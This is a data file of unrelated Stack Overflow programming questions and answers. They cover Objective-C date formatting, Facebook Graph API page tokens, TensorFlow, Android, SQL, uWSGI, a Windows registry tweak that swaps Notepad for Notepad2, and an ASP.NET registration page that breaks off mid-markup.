5938866	0	 <pre><code>-(NSString *) stringFromDate:(NSDate *) date{ NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init]; [dateFormatter setTimeStyle:NSDateFormatterShortStyle]; [dateFormatter setDateStyle:NSDateFormatterMediumStyle]; [dateFormatter setLocale:[NSLocale currentLocale]]; NSString *dateString = [dateFormatter stringFromDate:date]; [dateFormatter release]; return dateString; } -(NSDate *) dateFromString:(NSString *) dateInString{ NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init]; [dateFormatter setTimeStyle:NSDateFormatterShortStyle]; [dateFormatter setDateStyle:NSDateFormatterMediumStyle]; [dateFormatter setLocale:[NSLocale currentLocale]]; NSDate *dateFromString = [dateFormatter dateFromString:dateInString]; [dateFormatter release]; return dateFromString; } </code></pre> <p>I hope this helps.</p>
28085366	0	 <p>Not sure if this answers your question but in cases where you have more than 20 results, google returns a pagination object which can be used to fetch the additional results. We will have to handle the storing of the previous set of results. Here is the link <a href="https://developers.google.com/maps/documentation/javascript/reference#PlaceSearchPagination" rel="nofollow">https://developers.google.com/maps/documentation/javascript/reference#PlaceSearchPagination</a></p>
21772094	0	 <p>There are 4 types of access token:</p> <ol> <li>User Access Token (Include page actions.) </li> <li>App Access Token (Modify and read the app settings. It can also be used to publish Open Graph actions.)</li> <li>Page Access Token (Specific to page actions.)</li> <li>Client Token (rarely used)</li> </ol> <blockquote> <p><a href="https://graph.facebook.com/oauth/access_token?type=client_cred&amp;client_id=APP_ID&amp;client_secret=APP_SECRET" rel="nofollow noreferrer">https://graph.facebook.com/oauth/access_token?type=client_cred&amp;client_id=APP_ID&amp;client_secret=APP_SECRET</a></p> </blockquote> <p>What you've done is retrieve the App Access Token, which was nothing to do with page.</p> <p>So, in order to post Facebook feed pages as admin, you should use User Access Token OR Page Access Token instead.</p> <p><strong>User Access Token</strong>:</p> <p>You will have to go through authorization dialog to retrieve your User Access Token:</p> <p><a href="https://www.facebook.com/dialog/permissions.request?_path=permissions.request&amp;app_id=145634995501895&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html%3Fdisplay%3Dpage&amp;response_type=token&amp;fbconnect=1&amp;perms=manage_pages%2Cstatus_update" rel="nofollow noreferrer">https://www.facebook.com/dialog/permissions.request?_path=permissions.request&amp;app_id=145634995501895&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html%3Fdisplay%3Dpage&amp;response_type=token&amp;fbconnect=1&amp;perms=manage_pages%2Cstatus_update</a></p> <p>Make sure you granted both <strong>manage_pages</strong> and <strong>status_update</strong> permission, as shown in the <strong>perms=</strong> parameter above. The reason can be found here: <a href="http://stackoverflow.com/questions/15796138/why-does-posting-to-facebook-page-yield-user-hasnt-authorized-the-application/15943045#15943045">why does posting to facebook page yield &quot;user hasn&#39;t authorized the application&quot;</a></p> <p>Then you do HTTP POST request (e.g. message=hello) to your page on <a href="https://graph.facebook.com/YOUR_PAGE_ID/feed?access_token=YOUR_USER_ACCESS_TOKEN" rel="nofollow noreferrer">https://graph.facebook.com/YOUR_PAGE_ID/feed?access_token=YOUR_USER_ACCESS_TOKEN</a></p> <p><strong>Page Access Token</strong>:</p> <p>You have to use User Access Token to retrieve Page Access Token via API calls:</p> <ol> <li><p><a href="https://graph.facebook.com/me/accounts?access_token=YOUR_USER_ACCESS_TOKEN" rel="nofollow noreferrer">https://graph.facebook.com/me/accounts?access_token=YOUR_USER_ACCESS_TOKEN</a> (Get all pages token)</p></li> <li><p><a href="https://graph.facebook.com/YOUR_PAGE_ID?fields=access_token&amp;access_token=YOUR_USER_ACCESS_TOKEN" rel="nofollow noreferrer">https://graph.facebook.com/YOUR_PAGE_ID?fields=access_token&amp;access_token=YOUR_USER_ACCESS_TOKEN</a> (Get specific page token by page ID)</p></li> </ol> <p>Then you do HTTP POST request (e.g. message=hello) to your page on 3 ways:</p> <ol> <li><a href="https://graph.facebook.com/YOUR_PAGE_ID/feed?access_token=YOUR_PAGE_ACCESS_TOKEN" rel="nofollow noreferrer">https://graph.facebook.com/YOUR_PAGE_ID/feed?access_token=YOUR_PAGE_ACCESS_TOKEN</a></li> <li><a href="https://graph.facebook.com/me/feed?access_token=YOUR_PAGE_ACCESS_TOKEN" rel="nofollow noreferrer">https://graph.facebook.com/me/feed?access_token=YOUR_PAGE_ACCESS_TOKEN</a></li> <li><a href="https://graph.facebook.com/feed?access_token=YOUR_PAGE_ACCESS_TOKEN" rel="nofollow noreferrer">https://graph.facebook.com/feed?access_token=YOUR_PAGE_ACCESS_TOKEN</a></li> </ol> <p><strong>Update:</strong></p> <p>I suggest you to manually granted a User Access Token(e.g. Login/authorization dialog would appear, and user need to manually click to accept APP permission request, you can't programatically web scraping to do this first step, as it's violate TOS of the Facebook platform), then extend it to long-live(Expired 2 months) via <a href="https://graph.facebook.com/oauth/access_token?client_id=my_app_id&amp;client_secret=my_app_secret&amp;grant_type=fb_exchange_token&amp;fb_exchange_token=User_Access_Token" rel="nofollow noreferrer">https://graph.facebook.com/oauth/access_token?client_id=my_app_id&amp;client_secret=my_app_secret&amp;grant_type=fb_exchange_token&amp;fb_exchange_token=User_Access_Token</a></p> <p>And now you have long-live User Access Token, and then call <a href="https://graph.facebook.com/me/accounts?access_token=LONG_LIVE_USER_ACCESS_TOKEN" rel="nofollow noreferrer">https://graph.facebook.com/me/accounts?access_token=LONG_LIVE_USER_ACCESS_TOKEN</a> to get NEVER expired Page Access Token. You can debug the Page Access Token at <a href="https://developers.facebook.com/tools/debug/accesstoken?q=YOUR_PAGE_ACCESS_TOKEN" rel="nofollow noreferrer">https://developers.facebook.com/tools/debug/accesstoken?q=YOUR_PAGE_ACCESS_TOKEN</a></p> <p>As you can see, the <strong>Expires</strong> date is <strong>Never</strong>:</p> <p><img src="https://i.stack.imgur.com/MrUhN.png" alt="enter image description here"></p> <p><strong>Documentation</strong>:</p> <ol> <li><a href="https://developers.facebook.com/docs/facebook-login/access-tokens/" rel="nofollow noreferrer">https://developers.facebook.com/docs/facebook-login/access-tokens/</a></li> <li><a href="https://developers.facebook.com/docs/graph-api/reference/app" rel="nofollow noreferrer">https://developers.facebook.com/docs/graph-api/reference/app</a> (No such thing post to page as admin)</li> </ol>
23312280	0	 <p>Why u are not makeing it responsive as an SVG? I would make a container div and make the svg responsive. </p> <p>Here is a good description: <a href="http://soqr.fr/testsvg/embed-svg-liquid-layout-responsive-web-design.php" rel="nofollow">http://soqr.fr/testsvg/embed-svg-liquid-layout-responsive-web-design.php</a></p>
23254996	0	apply the edge detection in an image segmentation <p>I have two questions about snake edge detection. The first question is, in openCV there is a function cvSnakeImage(src,points,.......), what does the points parameter mean?</p> <p>The second questions is: I want to apply this function on the part surrounded by an edge that I have already made, how can I do this?</p> <p>This is my code for edge detection:</p> <pre><code>cvCanny(img_bw, img_canny , thresh, thresh * 50, 3); cvFindContours(img_canny, contour, &amp;contours, sizeof(CvContour), CV_RETR_TREE, CV_CHAIN_APPROX_SIMPLE); </code></pre>
34886605	1	TensorFlow network not training? <p>I had a really weird time with TensorFlow the last days and can not think of what's going wrong atm.</p> <p>I have built this network: <a href="http://pastebin.com/GZaX4aYN" rel="nofollow">link</a>. It is a copy of TensorFlow's MNIST example.</p> <p>Basically, what I did, is altering the network from taking 28x28x1 images (MNIST greyscale) to 600x800x1 images (some images I took on my own, webcam with a relatively clean background and one object at different locations).</p> <p>What I wanted to do is playing around with such a CNN and have it output the x-location of the object in the image. So one single output neuron.</p> <p>However, no matter what I tried, the network is always outputting 1.0. Even (when you look at my testing section at the end of the code) when I feed all ones, all zeros or all random numbers into the network.</p> <p>Of course, since I have only 21 labeled training and 7 labeled test pictures I expected the performance to be really bad (since 800x600 pixel images are huge for neural networks and locating an object isn't easy).</p> <p>...but I have no idea at all why the network always outputs 1.0 even if it is fed with nonsense. Any ideas?</p>
33855005	0	Get frame by frame data from mp4 using C# and .NET 2.0 <p>I'm currently developing using Unity 3D, however my background is Apple development. In iOS/OSX development I can use <code>AVFoundation</code> to load an mp4 and get frame by frame data from it as it plays in BGRA format.</p> <p>I was wondering what the equivalent of this is for .NET (Unity uses .NET 2.0)?</p> <p>I know it's possible to call functions in an Objective-C++ file from unity but I need a way to do this on any platform not just iOS.</p>
6708019	0	Convert String to Variable Name <p>I need get combobox by string. Not worked.</p> <pre><code> for (int i = 0; i &lt; Slots.Count; i++) { var field = (ComboBox)this.GetType().GetField("cbSlots" + i).GetValue(this); field.DataSource = Slots[i.ToString()]; } </code></pre>
20951392	0	 <p>Assign to learningTime the System.currentTimeMillis() value so it's 0 > 3000</p> <pre><code>learningTime = System.currentTimeMillis() </code></pre> <p>And, anyway you will block the main thread with this code. </p> <p>That can be an example of Handler</p> <pre><code>final Handler handler = new Handler(); Runnable runnable = new Runnable() { @Override public void run() { handler.postDelayed(this, 3000); } }; handler.postDelayed(runnable, 3000); </code></pre> <p><a href="http://developer.android.com/reference/android/os/Handler.html" rel="nofollow"><code>Handler class</code></a> <a href="http://developer.android.com/reference/java/lang/Runnable.html" rel="nofollow"><code>Runnable</code></a> <a href="http://developer.android.com/reference/android/os/Handler.html#postDelayed%28java.lang.Runnable,%20long%29" rel="nofollow"><code>Handler postDelayed</code></a></p> <p>Anyway, you don't need anymore <code>learningTime</code> and <code>i</code> (?)</p>
2984846	0	Set "Image File Execution Options" will always open the named exe file as default <p>As <a href="http://untidy.net/blog/2009/11/03/replacing-notepad-with-pn-via-image-file-execution-options/" rel="nofollow noreferrer">this link suggests</a>, I want replace <code>Notepad.exe</code> with <code>Notepad2.exe</code> using "<strong>Image File Execution Options</strong>" function by run the command</p> <pre><code>reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v "Debugger" /t REG_SZ /d "\"c:\windows\Notepad2.exe\" /z" /f </code></pre> <p>But when I run <strong>notepad</strong> it still opens the file </p> <blockquote> <p>c:\windows\notepad.exe</p> </blockquote> <p>in notepad2.exe as a text file by default. </p> <p>Is there a way to avoid that?</p> <p>I know using this tech Notepad.exe will as the first param passed to Notepad2.exe. but I don't know how to avoid this :(</p>
10994687	0	How can I design input without knowing in advance how many values will be entered? <p>I want to input based on how many values a user inputs, without expecting an exact number of values. </p> <p>In my program I want user to input integer(s) but the problem is that I want to allow the user to either input one or two space separated integers.</p> <p>So,if user enters two space separated integers,they should get stored in variables a and b,and if he enters just one number before pressing enter then it should get stored in a,and the program should proceed further without waiting for the second number.</p> <p>What is the best way to do that?</p>
9920174	0	 <p>Try to use a subquery with a LIMIT clause, e.g. -</p> <pre><code>SELECT i_s.pid, p_r.range_id as PriceRangeID, COUNT(p_r.range_id) as PriceGroupTotal FROM (SELECT * FROM indx_search WHERE i_s.word = 'memory' ORDER BY i_s.pid ASC LIMIT 0 , 20) i_s LEFT JOIN windex_mem w_m ON w_m.word = i_s.word LEFT JOIN price_range p_r ON p_r.pid = i_s.pid GROUP BY i_s.pid, PriceRangeID </code></pre>
25465706	0	 <p>Here is code that handles it:</p> <pre><code> page = Mechanize.new.get "http://page_u_need" page.iframe_with(id: 'beatles').content </code></pre>
39516498	0	 <p>I agree, there are better ways to create a header for CCDA documents, however, if you'd like to stick with your solution here is the missing part:</p> <pre><code>var clinicalDocument = new XML ("&lt;clinicalDocument&gt;&lt;/clinicalDocument&gt;"); clinicalDocument['realmCode']['@code']="US"; clinicalDocument['typeId']['@extension']="POCD_HD000040"; clinicalDocument['typeId']['@root']="2.16.840.1.113883.1.3"; createSegment('templateId', clinicalDocument); createSegment('templateId', clinicalDocument, 1); createSegment('templateId', clinicalDocument, 2); clinicalDocument['templateId'][0]['@root']="2.16.840.1.113883.10.20.22.1.1"; clinicalDocument['templateId'][1]['@root']="2.16.840.1.113883.10.20.24.1.1"; clinicalDocument['templateId'][2]['@root']="2.16.840.1.113883.10.20.24.1.2"; clinicalDocument['documentationOf']['serviceEvent']['performer']['assignedEntity']['code']['@codeSystemName']="Healthcare Provider Taxonomy"; clinicalDocument['documentationOf']['serviceEvent']['performer']['assignedEntity']['code']['@displayName']="Adult Medicine"; logger.info("Data : "+clinicalDocument); </code></pre>
36803162	0	 <p>Youd need to pad your data with at least order n zeros; then you could set stride[n]==-stride[m] to achieve the intended effect, and avoid allocating order n*m zeros.</p> <p>But something tells me there must be a more elegant solution to your problem, if you take a bigger-picture view.</p>
7538168	0	 <p>the function <code>Ei</code> does either not exist or is not in your matlab path.</p> <p><strong>Edit:</strong> this function seems to be new in matlab 2011b, so if you are using an older version of matlab, the function won't be there -> error.</p> <p><strong>Edit2:</strong> do you have the <strong>Symbolic Math Toolbox</strong> installed?</p>
30483486	0	 <p>Try it like this:</p> <pre><code>window.open('','_self','');window.close(); </code></pre>
30679215	0	 <p>Try using foreach loop.</p> <pre><code>$game = $_POST['game_rate']; // with the proviso $ _ POST ['game_rate'] is an array $game_opt = $_POST['game_opt']; $index = 0; foreach($game as $g){ $query = "INSERT INTO t_game(game_rate, game_opt) VALUES('$g', '".$game_opt[$index]."')"; // Execute the query variabel $index++; } </code></pre>
1023344	0	 <p>Maybe the <code>models</code> module has an <code>__all__</code> which does not include what you're looking for. Anyway, <code>from ... import *</code> is <strong>never</strong> a good idea in production code -- we always meant the <code>import *</code> feature for interactive exploratory use, <em>not</em> production use. Specifically import the module you need -- use that name to qualify names that belong there -- and you'll be vastly happier in the long run!-)</p>
4121764	0	 <p>I don't know what happened, but I disabled the USB WiFi dongle and switched to a cabled network, and it started working. don't know what the reasons were, but I am happy now that it worked.</p> <p>May be this is useful to others too!</p>
34800652	0	 <p>The issue is that your app does not have a module named <code>uwsgi</code>. You change the directory to <code>/home/user/appname</code> but it looks like the actual module would be <code>appname.uwsgi</code> since the <code>uwsgi.py</code> file lives within <code>/home/user/appname/appname/uwsgi.py</code>.</p> <p>Typically though, you don't need to specify both <code>--wsgi-file</code> and <code>--module</code> so I would either do</p> <pre><code>uwsgi --http :9010 --chdir /home/user/appname --wsgi-file /home/user/appname/appname/wsgi.py </code></pre> <p>or</p> <pre><code>uwsgi --http :9010 --chdir /home/user/appname --module appname.uwsgi </code></pre> <p>I personally prefer the second.</p>
40472828	0	 <pre><code>public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //setContentView(R.layout.activity_main); final RelativeLayout relativeLayout = new RelativeLayout(this); final TextView tv1 = new TextView(this); tv1.setText("tv1 is here"); // Setting an ID is mandatory. tv1.setId(View.generateViewId()); relativeLayout.addView(tv1); final TextView tv2 = new TextView(this); tv2.setText("tv2 is here"); // We are defining layout params for tv2 which will be added to its parent relativelayout. // The type of the LayoutParams depends on the parent type. RelativeLayout.LayoutParams tv2LayoutParams = new RelativeLayout.LayoutParams( RelativeLayout.LayoutParams.WRAP_CONTENT, RelativeLayout.LayoutParams.WRAP_CONTENT); //Also, we want tv2 to appear below tv1, so we are adding rule to tv2LayoutParams. tv2LayoutParams.addRule(RelativeLayout.BELOW, tv1.getId()); //Now, adding the child view tv2 to relativelayout, and setting tv2LayoutParams to be set on view tv2. relativeLayout.addView(tv2); tv2.setLayoutParams(tv2LayoutParams); //Or we can combined the above two steps in one line of code //relativeLayout.addView(tv2, tv2LayoutParams); this.setContentView(relativeLayout); } } </code></pre>
10919275	0	 <p>Seems like there is a bug in for this:</p> <p><a href="http://mvcdonutcaching.codeplex.com/workitem/2533" rel="nofollow">http://mvcdonutcaching.codeplex.com/workitem/2533</a></p>
19943620	0	Strange parallel loop behaviour int v long int <p>I have some code i'm running in parallel using an OMP for loop, up to large numbers. The code (with unimportant bits removed) is as follows (apologies if it's a mess/hard to follow):</p> <pre><code>long int primePos=-1; unsigned long long int odd; int primeFactor; while(fileNumber&lt;=nFiles) { percPrev=0; compCounter=0; #pragma omp parallel for shared(numberElements, iStart, iEnd,tau, wall0) schedule (guided) private(primePos,odd,primeFactor) for(unsigned long long int i=iStart;i&lt;=iEnd;i++){ #pragma omp atomic tau++; odd=2*i-1; if(!IsPrime(odd)){ primeFactor = getPrimeFactor(odd); for(long int j=0;j&lt;PrimeDatL;j++){ if(PrimeDataT[j]==primeFactor){ primePos=j; break; } } #pragma omp critical { if(compCounter+1&gt;numberElements){ cout&lt;&lt;"Array overflow, exiting."&lt;&lt;endl; exit(0); } InsertElement(odd,primeFactor,pHVector,primePos); compCounter++; } } } iStart=iEnd+1; iEnd=min(iEnd+numberElements,maxVal); fileNumber++; } </code></pre> <p>The idea is that I go through all the odds up to <code>2^n</code>, if they're not prime I take the smallest prime factor and put it, along with the odd, in a vector which is arranged in a particular fashion. The variable <code>primePos</code> simply denotes which spot in this vector it goes into, and isn't a particularly large number so it was originally simply an <code>int</code> type. </p> <p>However, for larger values of n ~33, I found that InsertElement() was throwing an exception because <code>primePos</code> was huge, much larger than it could possibly be as defined in the for loop which searches for the position of <code>primeFactor</code> in <code>PrimeDataT</code>. This was rectified (well, it compiles and runs and for low values of n i can verify in mathematica that it's correct) by changing <code>primePos</code> from <code>int</code> to <code>long int</code>, but i've no idea why that should be the case and I'd like to know before I continue, in case I'm missing something important.</p> <p>tl;dr = how can primePos take a value larger than PrimeDatL if it is declared as an <code>int</code> instead of <code>long int</code>? Thanks in advance!</p>
20890855	0	Adding a ContactsContract.CommonDataKinds.Event to Android contacts, does not show up <p>I'm trying to add a birthday event to contacts but the event <strong>doesn't show up</strong> when displaying the contact in the People app. When going into 'Edit' mode of the contact, an event DOES show up, but no selected date (see attached screenshot) as if the format is wrong.</p> <p>When inspecting the contacts2.db in an sqlite viewer, it seems that the date are formatted just fine, like other events/birthdays that are properly showing (see attached image. First row is a manually entered birthday through the app, and the second row, was added by my app and doesn't show)</p> <p>Here is the code I am using, which follows the SampleSyncAdapter from the $ANDROID_HOME sdk</p> <pre><code>public ContactOperations addBirthday(Date date) { mValues.clear(); if(date!=null) { mValues.put(ContactsContract.CommonDataKinds.Event.TYPE, ContactsContract.CommonDataKinds.Event.TYPE_BIRTHDAY); mValues.put(ContactsContract.CommonDataKinds.Event.START_DATE, BIRTHDATE_FORMATTER.format(date)); mValues.put(ContactsContract.CommonDataKinds.Event.MIMETYPE, ContactsContract.CommonDataKinds.Event.CONTENT_ITEM_TYPE); addInsertOp(); } return this; } private void addInsertOp() { if (!mIsNewContact) { mValues.put(ContactsContract.CommonDataKinds.Phone.RAW_CONTACT_ID, mRawContactId); } ContentProviderOperation.Builder builder = newInsertCpo(ContactsContract.Data.CONTENT_URI, mIsSyncOperation, mIsYieldAllowed); builder.withValues(mValues); if (mIsNewContact) { builder.withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, mBackReference); } mIsYieldAllowed = false; mBatchOperation.add(builder.build()); } </code></pre> <p><img src="https://i.stack.imgur.com/8YqnP.png" alt="enter image description here"></p> <p><img src="https://i.stack.imgur.com/x7jIe.png" alt="enter image description here"></p>
11004202	0	Pan class in Flash AS3 <p>I have a movieclip and I am going to add a pan feature to it. I want to add the pan as it's own class that the movieclip can reference.</p> <p>When I create the pan class, I send the movieclip to it so I have it's position properties at all times.</p> <p>What is the best way to access the stage in the pan class? I will need to be able to get the stage mouseX, mouseY, stageWidth, and stageHeight.</p> <p>Right now, I have the pan class extend a sprite object and actually add it as a child of the movieclip I want to pan.</p> <p>Would it be better to just send the stage itself into the pan class as well or is there a better way than this?</p>
26264729	0	 <p>how about that:</p> <pre><code>value = value &gt; 0 ? value: ~value + 1 </code></pre> <p>its based on the fact that negative numbers are stored as 2's complement to there positive equivalent, and that one can build the 2's complement by first building the 1's complement and adding 1, so </p> <pre><code> 5 -&gt; 0000 0101b -5 -&gt; (1111 1010b) + 1 -&gt; 1111 1011b </code></pre> <p>what I did was basically to reverse this, so</p> <pre><code>-5 -&gt; 1111 1011b 5 -&gt; (0000 0100b) + 1 -&gt; 0000 0101b </code></pre> <p>I know it's a bit late but just had the same issue and landed here, hope this helps.</p>
22388214	0	 <p>Yes, this is really supported, but it has been broken since February 3rd. It has now been fixed!</p>
38891401	0	nested fetch api react native giving unpredictable response for custom operation <p>hi i am trying to fill array with custom data using multiple apis in react native but unable to do so as nested fetch api giving unpredicatable result my final array is always empty .</p> <p>Any help would be appreciated </p> <p>Thanks in advance below is my code please tell what i am doing wrong here..</p> <pre><code>fetchSubcategories(category_id){ var url=GLOBAL.BASE_URL+'/categories?filter[where][categoryId]='+GLOBAL.CATEGORY_ID+'&amp;filter[where][category_type]=subcategory&amp;filter[order]=name ASC'; const set = []; const subcategoriesArray=[]; fetch(url) .then((response) =&gt; response.json()) .then((responseData) =&gt; { for (var i = 0; i &lt; responseData.length; i++) { set.push(responseData[i]); } console.log('response subcategories : '+JSON.stringify(set,null,2)); }) .then(()=&gt;{ for(var j=0;j&lt;set.length;j++){ var name=set[j].name; var id=set[j].id; fetch(url) .then((response) =&gt; response.json()) .then((responseData) =&gt; { var subcategory={ name:name, id:id, products:[] } subcategoriesArray.push(subcategory); }).done() } }) .done() console.log('final custom josn array : '+JSON.stringify(subcategoriesArray,null,2)); } </code></pre> <p>Note : urls used above giving the proper result on my end the only thing is final subcategoriesArray should be filled.</p>
24344310	0	 <p>An installable onOpen will probably be the best solution since your <code>onOpen</code> function needs authorization to run (access spreadsheet Service).</p> <p>Just change the function name to avoid double firing.</p> <p>sample code from your example :</p> <pre><code>var ss = SpreadsheetApp.getActiveSpreadsheet(); var activeSheet = ss.getActiveSheet(); function installableOnOpen() { insertEmptyRow(); var menuEntries = [ {name: "My Menu", functionName: "myFunction"} ]; ss.addMenu("First menu", menuEntries); } function insertEmptyRow(){ if(activeSheet.getRange(3, 5).getValue() !== '') { activeSheet.insertRows(3); Logger.log("activeSheet.getRange(3, 1).getValues() = " + activeSheet.getRange(3, 1).getValue() ); } } </code></pre> <p><a href="https://docs.google.com/spreadsheets/d/164qJ8xjwuSrh6Qn7WFGVvdKQgrQA2XwCDugq0pwjv7U/edit?usp=sharing" rel="nofollow">test spreadsheet with view rights, make a copy to use and/or modify.</a></p>
3507866	0	 <p>You can overcome the issue of mysql's case-sensitive <code>REPLACE()</code> function by using <code>LOWER()</code>. </p> <p>Its sloppy, but on my end this query runs pretty fast. </p> <p>To speed things along I retrieve the resultset in a select which I have declared as a derived table in my 'outer' query. Since mysql already has the results at this point, the replace method works pretty quickly.</p> <p>I created a query similar to the one below to search for multiple terms in multiple tables and multiple columns. I obtain a 'relevance' number equivalent to the sum of the count of all occurrances of all found search terms in all columns searched</p> <pre><code>SELECT DISTINCT ( ((length(x.ent_title) - length(replace(LOWER(x.ent_title),LOWER('there'),''))) / length('there')) + ((length(x.ent_content) - length(replace(LOWER(x.ent_content),LOWER('there'),''))) / length('there')) + ((length(x.ent_title) - length(replace(LOWER(x.ent_title),LOWER('another'),''))) / length('another')) + ((length(x.ent_content) - length(replace(LOWER(x.ent_content),LOWER('another'),''))) / length('another')) ) as relevance, x.ent_type, x.ent_id, x.this_id as anchor, page.page_name FROM ( (SELECT 'Foo' as ent_type, sp.sp_id as ent_id, sp.page_id as this_id, sp.title as ent_title, sp.content as ent_content, sp.page_id as page_id FROM sp WHERE (sp.title LIKE '%there%' OR sp.content LIKE '%there%' OR sp.title LIKE '%another%' OR sp.content LIKE '%another%' ) AND (sp_content.title NOT LIKE '%goes%' AND sp_content.content NOT LIKE '%goes%') ) UNION ( [search a different table here.....] ) ) as x JOIN page ON page.page_id = x.page_id WHERE page.rstatus = 'ACTIVE' ORDER BY relevance DESC, ent_title; </code></pre> <p>Hope this helps someone</p> <p>-- Seacrest out</p>
19399920	0	 <p>I assume what you want to do is that when the button is clicked, it should open the same URL that was present in href. If this is the scenario, you can just add an onclick event handler to the button i.e onclick="navigate('<em>Your URL here</em>');". </p> <p>You can also set the onclick event to call a javascript function which in turn can open a modal/normal popup window for you</p>
33692598	0	Removing 'Allow' response header <p>I have a web-app developed using Spring-MVC, Spring-Security and hosted on Tomcat 7. As a security measure, I have also whitelisted only certain HTTP methods in web.xml as follows:</p> <pre><code>&lt;security-constraint&gt; &lt;web-resource-collection&gt; &lt;web-resource-name&gt;restricted methods&lt;/web-resource-name&gt; &lt;url-pattern&gt;/*&lt;/url-pattern&gt; &lt;http-method-omission&gt;GET&lt;/http-method-omission&gt; &lt;http-method-omission&gt;POST&lt;/http-method-omission&gt; &lt;http-method-omission&gt;DELETE&lt;/http-method-omission&gt; &lt;/web-resource-collection&gt; &lt;auth-constraint /&gt; &lt;/security-constraint&gt; </code></pre> <p>At this point, what I would expect is that if I made an excluded http method call to any endpoint, then I would get a 403 response - and this setup works. But the 403 response also includes a "Allow" header as follows:</p> <pre><code>Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH </code></pre> <ol> <li>Is blacklisting OPTIONS not a supported/recommended thing?</li> <li>Why is the list of allowed http methods different from what I have configured?</li> <li>I'm assuming Tomcat is the one adding the Allow header to the response - is that right?</li> <li>And how can I configure tomcat (or spring if that is adding the header) to not add this header to the response?</li> </ol>
16485114	0	 <p>You can first delete, then write. </p> <p><code>hadoop fs -rmr &lt;path&gt;</code> removes everything under given path in hdfs including the path itself</p> <p><code>rm -rf &lt;path&gt;</code> removes in local file system. </p> <p>Make sure that there is no other file in the directory.</p>
14485233	0	Using JavaScript which I wrote in html in an asp.net page <p>I am currently engaged in doing a registration page. I first did it up in html and it let me move between my login, registration and forgot password forms, which were all located on the same page in html, but the form just changed shape and features through the JavaScript to become a login form password form and registration form depending on which link is clicked.</p> <p>It worked fine in html, but in asp.net, it doesn't work at all.</p> <p>Am new to asp.net, as have always worked in html.</p> <p>Does anyone know how to get the javaScript code working in asp.net.</p> <p>The Javascript code is at the end of this asp.net page</p> <pre><code> &lt;%@ Page Language="C#" AutoEventWireup="true" CodeBehind="registration.aspx.cs" Inherits="DocStore_asp.registration" %&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;DocStore Registration &amp; Login Page&lt;/title&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/&gt; &lt;meta name="description" content="Expand, contract, animate forms with jQuery wihtout leaving the page" /&gt; &lt;meta name="keywords" content="expand, form, css3, jquery, animate, width, height, adapt, unobtrusive javascript"/&gt; &lt;link rel="shortcut icon" href="../favicon.ico" type="image/x-icon"/&gt; &lt;link rel="stylesheet" type="text/css" href="registrationcss/registrationstyle.css" /&gt; &lt;script src="js/cufon-yui.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script src="js/ChunkFive_400.font.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; Cufon.replace('h1', { textShadow: '1px 1px #fff' }); Cufon.replace('h2', { textShadow: '1px 1px #fff' }); Cufon.replace('h3', { textShadow: '1px 1px #000' }); Cufon.replace('.back'); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;form id="form1" runat="server"&gt; &lt;div class="wrapper"&gt; &lt;h1&gt;DocStore Registration &amp; Login &lt;/h1&gt; &lt;h2&gt;&lt;/h2&gt; &lt;div class="content"&gt; &lt;div id="form_wrapper" class="form_wrapper"&gt; &lt;form class="register active" action="registered_users.aspx" method="post" id="regusers" &gt; &lt;h3&gt;Register&lt;/h3&gt; &lt;p&gt;&lt;/p&gt; &lt;h2&gt;Please fill out the form below to register for a DocStore Account. Access your account today!&lt;/h2&gt; &lt;p&gt;&lt;strong&gt; - Note: Fields with an asterik (*) are required.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt; - Note: Password must contain at least 8 characters.&lt;/strong&gt;&lt;/p&gt; &lt;/form&gt; &lt;div class="column"&gt; &lt;div&gt; &lt;label&gt;*Company Name:&lt;/label&gt; &lt;input type="text" name="company_name"/&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;*Company Address:&lt;/label&gt; &lt;input type="text" name="company_address" /&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;*Address Line 2:&lt;/label&gt; &lt;input type="text" name="address_line2" /&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="column"&gt; &lt;div&gt; &lt;label&gt;*Town:&lt;/label&gt; &lt;input type="text" name="town"/&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;*City:&lt;/label&gt; &lt;input type="text" name="city"/&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;*County:&lt;/label&gt; &lt;input type="text" name="county"/&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="column"&gt; &lt;div&gt; &lt;label&gt;*First Name&lt;/label&gt; &lt;input type="text" name="first_name"/&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;*Surname&lt;/label&gt; &lt;input type="text" name="surname" /&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;*Email Address&lt;/label&gt; &lt;input type="text" name="useremail"/&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="column"&gt; &lt;div&gt; &lt;label&gt;*Username&lt;/label&gt; &lt;input type="text" name="username"/&gt; &lt;span class="error"&gt;This is an error&lt;/span&gt; &lt;/div&gt; &lt;div&gt; &lt;asp:Label ID="lblpassword" runat="server" Text="Password"&gt;&lt;/asp:Label&gt; &lt;asp:TextBox ID="txtPassword" 